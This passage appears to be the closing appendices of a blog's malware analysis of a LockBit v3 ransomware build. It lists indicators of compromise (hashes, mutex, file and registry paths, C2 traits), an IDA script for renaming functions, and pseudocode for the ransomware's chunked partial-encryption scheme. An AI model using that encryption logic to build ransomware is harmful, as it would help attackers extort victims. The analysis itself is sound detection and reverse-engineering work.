https://substackcdn.com/image/fetch/$s_!Tivv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h1>Appendix C: Binary Information and Indicators of Compromise (IOCs)</h1><p>The following IOCs come from our specific build of this variant of LockBit v3. Here are the components that may be different across different builds:</p><ul><li><p>The unique ID for this build: IzYqBW5pa.</p></li><li><p>File hashes other than the hash of the icon and desktop background.</p></li></ul><h2>Binary information</h2><ul><li><p>Filename: LB3.exe</p><ul><li><p>File type: Windows Portable Executable (PE) x86</p></li><li><p>File size: 156,160</p></li><li><p>SHA256 hash: f34dd8449b9b03fedde335f8be51bdc7f96cda29a2dde176c3db667ba0713c6f</p></li></ul></li></ul><ul><li><p>Filename: LB3Decryptor.exe</p><ul><li><p>File type: Windows Portable Executable (PE) x86</p></li><li><p>File size: 33,280</p></li><li><p>SHA256 hash: 8f0a2d5b47441fbcf1882aa41cae22fd0db057ccc38abad87ccc28813df3a83c</p></li></ul></li></ul><h2>Indicators of Compromise</h2><h3>Host-based indicators (HBIs)</h3><ul><li><p>Volatile:</p><ul><li><p>When configured, the sample creates the following mutex: Global\a91a66d6abc26041b701bf8da3de4d0f&nbsp;where a91a66d6abc26041b701bf8da3de4d0f&nbsp;is calculated from the embedded RSA private key</p></li></ul></li></ul><ul><li><p>Files</p><ul><li><p>Filename: C:\ProgramData\IzYqBW5pa.ico&nbsp;where IzYqBW5pa&nbsp;is the unique ID for this specific variant.</p></li><li><p>File type: ICO</p></li><li><p>File size: 15,086</p></li><li><p>SHA256 hash: 95e059ef72686460884b9aea5c292c22917f75d56fe737d43be440f82034f438</p></li></ul></li></ul><ul><li><p>Filename: C:\ProgramData\IzYqBW5pa.bmp.</p><ul><li><p>File type: BMP</p></li><li><p>File size: 86,708</p></li><li><p>SHA256 hash: ef66e202c7a1f2a9bc27ae2f5abe3fd6e9e6f1bdd9d178ab510d1c02a1db9e4f</p></li></ul></li></ul><ul><li><p>Filename: IzYqBW5pa.README.txt.</p><ul><li><p>File type: TXT</p></li><li><p>File size: 6,197</p></li><li><p>SHA256 hash: af23f7d2cf9a263802a25246e2d45eaf4a4f8370e1b6115e79b9e1e13bf20bfe</p></li></ul></li></ul><ul><li><p>Registry:</p><ul><li><p>Path: HKEY_CLASSES_ROOT\.IzYqBW5pa\DefaultIcon</p></li><li><p>Value: C:\ProgramData\IzYqBW5pa.ico</p></li></ul></li></ul><h3>Network-based indicators (NBIs):</h3><ul><li><p>When configured, the sample communicates with the configured C2 server using HTTP Protocol POST&nbsp;method. This specific variant is not configured with a C2 server.</p></li><li><p>When communicating with the C2 server, the sample uses the following User-Agent string: Chrome/91.0.4472.77.</p></li><li><p>Communication with the C2 server is encrypted using the AES algorithm. This specific variant is not configured to communicate with the C2 server. Therefore, it also does not contain the AES key.</p></li></ul><h1>Appendix D: IDC script to rename functions</h1><pre><code>#include &lt;idc.idc&gt;

static process(line) {
    // example line: .data:00FC5410 -- ntdll_RtlCreateHeap
    auto idx = strstr(line, " -- ");

    // saddr: .data:00FC5410
    auto saddr = substr(line, 0, idx);

    // name: ntdll_RtlCreateHeap
    auto name = substr(line, idx + 1, -1);

    // old saddr: .data:00FC5410
    // new saddr: 00FC5410 as a string
    // addr     : 0x00FC5410
    auto _idx = strstr(saddr, ":");
    saddr = substr(saddr, _idx + 1, -1);
    auto addr = xtol(saddr);

    // old name: ntdll_RtlCreateHeap
    // new name: RtlCreateHeap
    _idx = strstr(name, "_");
    name = substr(name, _idx + 1, -1);

    auto len = strlen(name);
    // NULL terminate the last byte
    name[len-1] = '\0';

    Message("Addr: 0x%x, name: %s\n", addr, name);
    set_name(addr, name, SN_NOCHECK|SN_FORCE);
}


static load_file() {
    auto fd = fopen("out.txt", "r");
    auto line = readstr(fd);
    while (value_is_string(line)) {
        process(line);
        line = readstr(fd);
    }
    fclose(fd);
    return 0;
}


static main() {
    load_file();
}</code></pre><h1>Appendix E: Chunk counts and skip bytes</h1><h2>Grouping algorithm</h2><p>Each chunk of the file belongs to one of the three groups (<em><strong>before group</strong>, <strong>skip group</strong>,<strong> after group</strong></em>). But for the sake of simplicity, let&#8217;s only consider the state of each chunk: encrypted (<em>before group</em> or <em>after group</em>), or unencrypted (<em>skip group</em>).</p><p>To determine if a chunk needs encrypting or decrypting, we can use the following algorithm:</p><pre><code>chunk_state = ''
# first 'before_chunk_count' chunks belong to before group and are encrypted
crypt_chunk_count = before_chunk_count
skip_chunk_count = (skipped_bytes / 0x20000) -1
skip_count = skip_chunk_count

for chunk in chunks:
&#9;if (crypt_chunk_count):
&#9;&#9;chunk_state = "en(de)crypt"
&#9;&#9;crypt_chunk_count = crypt_chunk_count - 1
&#9;else:
&#9;&#9;chunk_state = "skip" # belongs to a skip group
&#9;&#9;skip_count = skip_count - 1
&#9;&#9;if (skip_count == 0):
&#9;&#9;&#9;crypt_chunk_count = after_chunk_count</code></pre><p>The decrypted file_encryption_info contains the value for before_chunk_count, after_chunk_count and skipped_bytes. To see how and where they are generated, refer to the File encryption section<strong>. </strong>The sample determines the chunk count based on the file size as described in the following table:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3uIU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3uIU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 424w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 848w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 1272w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3uIU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png" width="1268" height="866" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:866,&quot;width&quot;:1268,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:98628,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3uIU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 424w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 848w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 1272w, https://substackcdn.com/image/fetch/$s_!3uIU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5396ea83-e65d-431a-8bb1-7f5898598b6d_1268x866.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>]]></content:encoded></item></channel></rss>